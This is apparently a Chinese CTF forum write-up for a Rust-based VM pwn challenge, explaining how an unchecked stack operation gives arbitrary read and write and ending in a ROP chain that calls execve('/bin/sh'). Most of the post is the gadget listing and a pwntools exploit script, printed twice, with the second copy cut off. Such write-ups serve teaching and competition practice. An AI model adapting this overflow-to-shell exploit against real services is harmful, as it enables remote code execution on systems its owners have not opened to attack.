-
-
[原创] 第十题 陷入轮回 WP
-
发表于: 2022-6-2 22:47 16119
-
相比较平常的pwn题,这次题目的附件下载时间有点过长了些,不过看到第六道pwn的369的精致分,这次的100多分也对得起他的4M多的执行体了。题目虽然出的是pwn题,但核心看来还是在逆向部分,就连IDA的打开时间也长了许多。题目是rust语言编写的,看起来比较陌生,却号称是内存最安全的语言,感觉出题者具备很强的pwn基础,才能把这类题目玩这么溜。
第一次用ida打开rust程序,不知道从哪里看起,搜索字符串也没看到什么特殊的地方(ida对rust的字符串解析太弱了)。于是只能放到ubuntu里面执行一下试试,没想到除了开头显示一个字符串,对所有输入基本都没有反应,完全不知道程序想干什么。于是顺手搜索了一下题目的名字The_Mystery_of_Marie_Roget——玛丽·罗杰奇案,看来是部外语电影,但依然没有什么线索。
最后从程序的输入开始顺着栈往上追踪,最后发现来到std::io::BufRead::read_line::hfe23df61b51ffee1函数这里,看到所在的函数名vmvec::main::h1f88fe21e640590d,估计这才是rust真正的主函数。虽然每个函数后面都跟着很长的一串二进制,但基本看前半段就明白功能,后面估计只是区分该功能属于不同的类。
简单跟踪了几轮对输入的处理,大概了解了程序的逻辑。单独的符号$是一个特殊功能,单独的#是输入的结束标志,然后每一行作为一个语句会被alloc::vec::Vec$LT$T$C$A$GT$::push::hd994e0abfacd7f08压入一个栈当中。最开始还以为是rust的语法,学习了一会却发现不像。最后对输入下了硬件断点,才发现vmvec::start_vec::h1393dc29498ce194才是程序的主要逻辑。输入共有vec、adj、print、cal、cmd、jmp、je、switch_stack、halt几种语句(其中cmd迷惑了我很久,一直以为可以执行某种命令,最后才发现实现的是cmp功能)。vec定义变量;adj添加删除变量;print打印栈底或者变量;cal实现栈或者寄存器上的运算;cmd对栈上两个值进行比较,结果压入栈底;jmp和je跳转到其他代码段,其中je根据栈底的值决定是否跳转;switch_stack切换栈;halt打印结束语句然后exit。特别的,如果语句以//或者其他字符开头,则不会参与运算。
第一遍功能梳理基本没发现什么问题,第二遍对结构进行分析。输入语句和寄存器都是放在堆上的,栈定义了两个,都是在vmvec::start_vec函数的堆上。checksec发现该程序没有开启栈保护,说明这个程序的栈可能有点问题。重点研究作者设计的栈(为和真实的堆栈进行区分,后文称为模拟栈)后发现,该模拟栈设计的大小为64个8字节,且大部分情况下操作前都对栈指针进行了检查,除了reg_add_to_stack函数。只要反复调用该函数就可以一直覆盖真实的栈直到返回地址。当然,由于作者设计了两个模拟栈,而且两个模拟栈相连且随时可以切换,所以可以通过reg_add_to_stack函数修改下一个模拟栈的栈指针,然后通过switch_stack切换栈后使用print实现任意地址读,使用reg_add_to_stack函数实现任意地址写。
但开始利用时发现,虽然使用print可以实现任意地址读,而且栈、堆、程序基址都可以leak出来,但程序执行到这里后已经关闭了输入,而且重新调用main或者start函数都会出错退出,缺少了再次输入的机会。但幸好cal提供了读取和运算的功能,可以把对应的值读取后进行运算,然后写入到相应地址。这里通过修改vmvec::main函数的返回地址,构造rop实现syscall(当然如果上网方便的话也可以利用print探测出libc的版本然后写入onegadget)。
设置的rop链为:
下面是本地测试成功的代码。
但实际攻击时发现一直不成功,估计是libc版本或者是调试状态等某些因素导致了最后一句"adj ab /bin/sh\x00"的地址不固定,调用/bin/sh失败。因此最终实现时增加了sendCmd("////////"+"/bin/sh\x00"*0x100)对堆进行了布置。
index:
0x240
0x5555555bb483
:pop rdi ret
rdi
-
>
/
bin
/
sh heap
ret
-
>
0x5555555bb481
pop rsi;pop r15;ret
rsi
=
0
r15
0
ret
-
>
0x0005555555AAD10
pop rax,ret
rax
=
0x3B
/
/
ret
=
0x0005555555B84D6
pop rcx,ret
/
/
rcx
=
0
ret
=
0x0005555555B84D3
mov rdx, rcx;pop rcx;ret
rcx
0
ret
-
>
0x55555556B91C
syscall
index:
0x240
0x5555555bb483
:pop rdi ret
rdi
-
>
/
bin
/
sh heap
ret
-
>
0x5555555bb481
pop rsi;pop r15;ret
rsi
=
0
r15
0
ret
-
>
0x0005555555AAD10
pop rax,ret
rax
=
0x3B
/
/
ret
=
0x0005555555B84D6
pop rcx,ret
/
/
rcx
=
0
ret
=
0x0005555555B84D3
mov rdx, rcx;pop rcx;ret
rcx
0
ret
-
>
0x55555556B91C
syscall
def
makeInt(a):
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
sendCmd(
"vec int >>=0,"
+
str
(a)
+
",1;"
)
sendCmd(
"cal add stack_to_reg"
)
def
test3(p):
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
makeInt(
0x4c
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
61
)
+
"1,100,180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x4c
sendCmd(
"switch_stack"
)
sendCmd(
"print"
)
sendCmd(
"cal add stack_to_reg"
)
#get heap
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
makeInt(
0x241
)
#make 0x241
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x241
sendCmd(
"switch_stack"
)
sendCmd(
"cal add stack_to_reg"
)
#get ret addr 0x555555580b9b [heap,0x555555580b9b]
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
sendCmd(
"cal add reg_to_stack"
)
#set ret addr 0x555555580b9b
sendCmd(
"vec int >>=239848;"
)
sendCmd(
"cal add stack_to_reg"
)
#set reg 0x555555580b9b
sendCmd(
"vec int >>=0;"
)
sendCmd(
"cal add stack_to_reg"
)
#set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb483]
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
#[heap,0x555555580b9b,0x5555555bb483,0]
makeInt(
0x240
)
#make 0x240
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x240
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# [heap,0x555555580b9b]
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
#[heap,0x555555580b9b, 0]
sendCmd(
"cal add reg_to_stack"
)
# [heap]
sendCmd(
"vec int >>=239846;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b]
sendCmd(
"vec int >>=0;"
)
sendCmd(
"cal add stack_to_reg"
)
# set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb481]
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b,0x5555555bb481,0]
makeInt(
0x242
)
# make 0x240
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x240
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# [heap,0x555555580b9b]
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b, 0]
sendCmd(
"cal add reg_to_stack"
)
# [heap]
sendCmd(
"vec int >>=172405;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b]
sendCmd(
"vec int >>=0;"
)
sendCmd(
"cal add stack_to_reg"
)
# set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555AAD10]
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b,0x0005555555AAD10,0]
makeInt(
0x245
)
# make 0x240
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x240
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# [heap,0x555555580b9b]
# 本来这里设置rcx,结果调试发现rcx已经是0了
# sendCmd("switch_stack")
# sendCmd("adj ab ab ext_vec")
# sendCmd("vec int >>=0,0,1;")
# sendCmd("cal add stack_to_reg") # [heap,0x555555580b9b, 0]
# sendCmd("cal add reg_to_stack") # [heap]
# sendCmd("vec int >>=227643;")
# sendCmd("cal add stack_to_reg") # [heap,0x555555580b9b]
# sendCmd("vec int >>=0;")
# sendCmd("cal add stack_to_reg") # set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555B84D6]
# sendCmd("vec int >>=0,0,1;")
# sendCmd("cal add stack_to_reg") # [heap,0x555555580b9b,0x0005555555B84D6,0]
# makeInt(0x247) # make 0x240
# sendCmd("adj ab ab ext_vec")
# sendCmd("vec int >>=" + "1," * (63) + "180;")
# sendCmd("cal add stack")
# sendCmd("cal add reg_to_stack") # set 0x240
# sendCmd("switch_stack")
# sendCmd("cal add reg_to_stack") # [heap,0x555555580b9b]
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b, 0]
sendCmd(
"cal add reg_to_stack"
)
# [heap]
sendCmd(
"vec int >>=227640;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b]
sendCmd(
"vec int >>=0;"
)
sendCmd(
"cal add stack_to_reg"
)
# set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555B84D3]
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b,0x0005555555B84D3,0]
makeInt(
0x247
)
# make 0x240
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x240
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# [heap,0x555555580b9b]
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b, 0]
sendCmd(
"cal add reg_to_stack"
)
# [heap]
sendCmd(
"vec int >>=86655;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b]
sendCmd(
"vec int >>=0;"
)
sendCmd(
"cal sub stack_to_reg"
)
# set reg 0x5555555bb483 [heap,0x555555580b9b,0x005555555A4172]
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b,0x005555555A4172,0]
makeInt(
0x249
)
# make 0x240
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x240
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# [heap,0x555555580b9b]
#sendCmd("cal add stack_to_reg") # get ret addr 0x555555580b9b
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
#gdb.attach(p, "b* 0x000555555578862\nb* 0x0000555555585E9B")
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b,0]
makeInt(
0x244
)
makeInt(
0
)
makeInt(
0x243
)
makeInt(
0x3b
)
makeInt(
0x246
)
makeInt(
0
)
makeInt(
0x248
)
#makeInt(0)
#makeInt(0x24A)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x248
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# 0
#
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x246
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# 0x3b
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x243
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# 0
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x244
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# 0x555555580b9b
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>=0,15335,1;"
)
sendCmd(
"cal sub stack_to_reg"
)
# [heap,0]
makeInt(
0x241
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x248
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# heap
# sendCmd("switch_stack")
# sendCmd("adj ac ac ext_vec")
# makeInt(0)
# makeInt(0x248)
#sendCmd("adj ac ac ext_vec")
#sendCmd("vec int >>=" + "1," * (63 - 2 * 6) + "180;")
#sendCmd("cal add stack")
#sendCmd("cal add reg_to_stack") # set 0x248
#sendCmd("switch_stack")
#sendCmd("cal add reg_to_stack") # 0x0
#sendCmd("cal add reg_to_stack") # set rdi
#sendCmd("switch_stack")
#sendCmd("cal add reg_to_stack") # set 0x241
#sendCmd("switch_stack")
sendCmd(
"$"
)
sendCmd(
"$"
)
sendCmd(
"adj ab /bin/sh\x00"
)
sendCmd(
"#"
)
p.recvline()
print
(
hex
(
int
(p.recvline())))
p.interactive()
def
exp(p):
p.recvuntil(
"Now,tell me your answer.\n"
)
return
test3(p)
def
main():
global
p
p
=
remote(ip, port)
#p = process(pwn, env = {"RUST_BACKTRACE":"full"})
exp(p)
main()
def
makeInt(a):
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
sendCmd(
"vec int >>=0,"
+
str
(a)
+
",1;"
)
sendCmd(
"cal add stack_to_reg"
)
def
test3(p):
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
makeInt(
0x4c
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
61
)
+
"1,100,180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x4c
sendCmd(
"switch_stack"
)
sendCmd(
"print"
)
sendCmd(
"cal add stack_to_reg"
)
#get heap
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
makeInt(
0x241
)
#make 0x241
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x241
sendCmd(
"switch_stack"
)
sendCmd(
"cal add stack_to_reg"
)
#get ret addr 0x555555580b9b [heap,0x555555580b9b]
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
sendCmd(
"cal add reg_to_stack"
)
#set ret addr 0x555555580b9b
sendCmd(
"vec int >>=239848;"
)
sendCmd(
"cal add stack_to_reg"
)
#set reg 0x555555580b9b
sendCmd(
"vec int >>=0;"
)
sendCmd(
"cal add stack_to_reg"
)
#set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb483]
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
#[heap,0x555555580b9b,0x5555555bb483,0]
makeInt(
0x240
)
#make 0x240
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x240
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# [heap,0x555555580b9b]
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
#[heap,0x555555580b9b, 0]
sendCmd(
"cal add reg_to_stack"
)
# [heap]
sendCmd(
"vec int >>=239846;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b]
sendCmd(
"vec int >>=0;"
)
sendCmd(
"cal add stack_to_reg"
)
# set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb481]
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b,0x5555555bb481,0]
makeInt(
0x242
)
# make 0x240
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x240
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# [heap,0x555555580b9b]
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b, 0]
sendCmd(
"cal add reg_to_stack"
)
# [heap]
sendCmd(
"vec int >>=172405;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b]
sendCmd(
"vec int >>=0;"
)
sendCmd(
"cal add stack_to_reg"
)
# set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555AAD10]
sendCmd(
"vec int >>=0,0,1;"
)
sendCmd(
"cal add stack_to_reg"
)
# [heap,0x555555580b9b,0x0005555555AAD10,0]
makeInt(
0x245
)
# make 0x240
sendCmd(
"adj ab ab ext_vec"
)
sendCmd(
"vec int >>="
+
"1,"
*
(
63
)
+
"180;"
)
sendCmd(
"cal add stack"
)
sendCmd(
"cal add reg_to_stack"
)
# set 0x240
sendCmd(
"switch_stack"
)
sendCmd(
"cal add reg_to_stack"
)
# [heap,0x555555580b9b]
# 本来这里设置rcx,结果调试发现rcx已经是0了
# sendCmd("switch_stack")
# sendCmd("adj ab ab ext_vec")
# sendCmd("vec int >>=0,0,1;")
# sendCmd("cal add stack_to_reg") # [heap,0x555555580b9b, 0]
# sendCmd("cal add reg_to_stack") # [heap]
# sendCmd("vec int >>=227643;")
# sendCmd("cal add stack_to_reg") # [heap,0x555555580b9b]
# sendCmd("vec int >>=0;")
# sendCmd("cal add stack_to_reg") # set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555B84D6]
# sendCmd("vec int >>=0,0,1;")
# sendCmd("cal add stack_to_reg") # [heap,0x555555580b9b,0x0005555555B84D6,0]
# makeInt(0x247) # make 0x240
# sendCmd("adj ab ab ext_vec")
# sendCmd("vec int >>=" + "1," * (63) + "180;")
# sendCmd("cal add stack")
# sendCmd("cal add reg_to_stack") # set 0x240
# sendCmd("switch_stack")
# sendCmd("cal add reg_to_stack") # [heap,0x555555580b9b]
sendCmd(
"switch_stack"
)
sendCmd(
"adj ab ab ext_vec"
)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]第十二题 深入内核 4064
- [原创]第十一题 步步逼近 4524
- [原创]第八题 AI核心地带 3453
- [原创] 第七题 智能联盟计划 3622
- 第六题 至暗时刻 10387